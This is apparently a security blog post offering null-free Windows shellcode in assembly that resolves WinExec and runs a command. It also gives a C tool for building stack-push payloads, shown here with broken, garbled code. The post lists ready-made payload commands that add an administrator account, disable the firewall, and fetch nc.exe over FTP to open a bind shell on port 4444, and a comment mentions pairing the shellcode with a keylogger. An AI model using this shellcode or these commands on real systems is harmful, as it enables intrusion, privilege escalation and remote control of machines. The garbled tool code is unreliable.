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Null Free Windows WinExec Shellcode & Tool for generating Payload


Here is a shellcode that might run on most windows machines.

I adopted code from here:
so thanks to the author of that shellcode.

Instead of CreateProcess I use WinExec in this example.

; Filename: winexec.asm
; Author: Daniel Sauder
; Website: https://govolution.wordpress.com/
; License: http://creativecommons.org/licenses/by-sa/3.0/


global _start


xor ebx, ebx

;Find Kernel32 Base
mov edi, [fs:ebx+0x30]
mov edi, [edi+0x0c]
mov edi, [edi+0x1c]

mov eax, [edi+0x08]
mov esi, [edi+0x20]
mov edi, [edi]
cmp byte [esi+12], '3'
jne module_loop

; Kernel32 PE Header
mov edi, eax
add edi, [eax+0x3c]

; Kernel32 Export Directory Table
mov edx, [edi+0x78]
add edx, eax

; Kernel32 Name Pointers
mov edi, [edx+0x20]
add edi, eax

; Find WinExec
mov ebp, ebx
mov esi, [edi+ebp*4]
add esi, eax
inc ebp
cmp dword [esi],   0x456e6957 ;WinE
jne name_loop

; WinExec Ordinal
mov edi, [edx+0x24]
add edi, eax
mov bp, [edi+ebp*2]

; WinExec Address
mov edi, [edx+0x1C]
add edi, eax
mov edi, [edi+(ebp-1)*4] ;subtract ordinal base
add edi, eax

; Zero Memory
mov ecx, ebx
mov cl, 0xFF
push ebx
loop zero_loop

; push payload here (notepad)
push 0x20646170
push 0x65746F6E

mov edx, esp

; call WinExec
inc ecx  ; ecx=1 show window, 0=hidden (simply comment out for that)
push ecx ; window mode
push edx ; command
call edi

Download from github here.

Generate Payload

Further I wrote a small tool for generating the payload:

Filename: pushstack.c
Author: Daniel Sauder
Website: https://govolution.wordpress.com/
License: http://creativecommons.org/licenses/by-sa/3.0/

- generate asm code that pushes a given string on the stack in reverse order
- fill up with empty spaces if neccessary

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
		printf("usage: pushstack \"foo bar\"\n");
		return 0;

	char *buf=argv[1];
	int l=strlen(buf);
	int x;

	// fill with spaces if neccessary
	int ll=4-(l%4);
	if (ll!=4)
		printf("push 0x");
		for (x=0;x<ll;x++)

	// printf asm code to screen
	for (x=l; x>0; x--)
		if ((x%4)==0) printf("push 0x");
		if ((x%4)==1) printf("\n");

	return 0;

Download from github here.

Example usage:

# ./pushstack notepad
push 0x20646170
push 0x65746F6E

Some ideas for payloads

Add a user and make him admin:
cmd /c net user x x /ADD & net localgroup Administrators x /ADD

Disable the firewall (on older Windows boxes):
cmd /c netsh firewall set opmode disable

Download a file by ftp and execute the file:
cmd /c echo open>x.ftp&echo user>>x.ftp&echo pass>>x.ftp&echo binary>>x.ftp&echo mget nc.exe>>x.ftp&echo disconnect>>x.ftp&echo quit>>x.ftp&ftp -i -s:x.ftp&nc -lvp 4444 -e cmd.exe

If you have null bytes in your payload you might need an encoder for the shellcode, like msfencode.

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4 responses to “Null Free Windows WinExec Shellcode & Tool for generating Payload”

  1. […] software and hardware I wrote a very simple keylogger (which is very noisy). Together with the winexec shellcode I wrote earlier it is possible to download and start the keylogger which simulates a very simple […]

  2. Good to see who can understand shellcodes, good job 🙂

  3. Hi Daniel, I am trying to use your NULL FREE WINDOWS WINEXEC SHELLCODE and able to pop calc and notepad, however I am not able to run commands like msconfig, cmd /c calc and echo test>test.txt. Have you tried similar commands?

    1. Yes, should work. Maybe a problem with a null byte?

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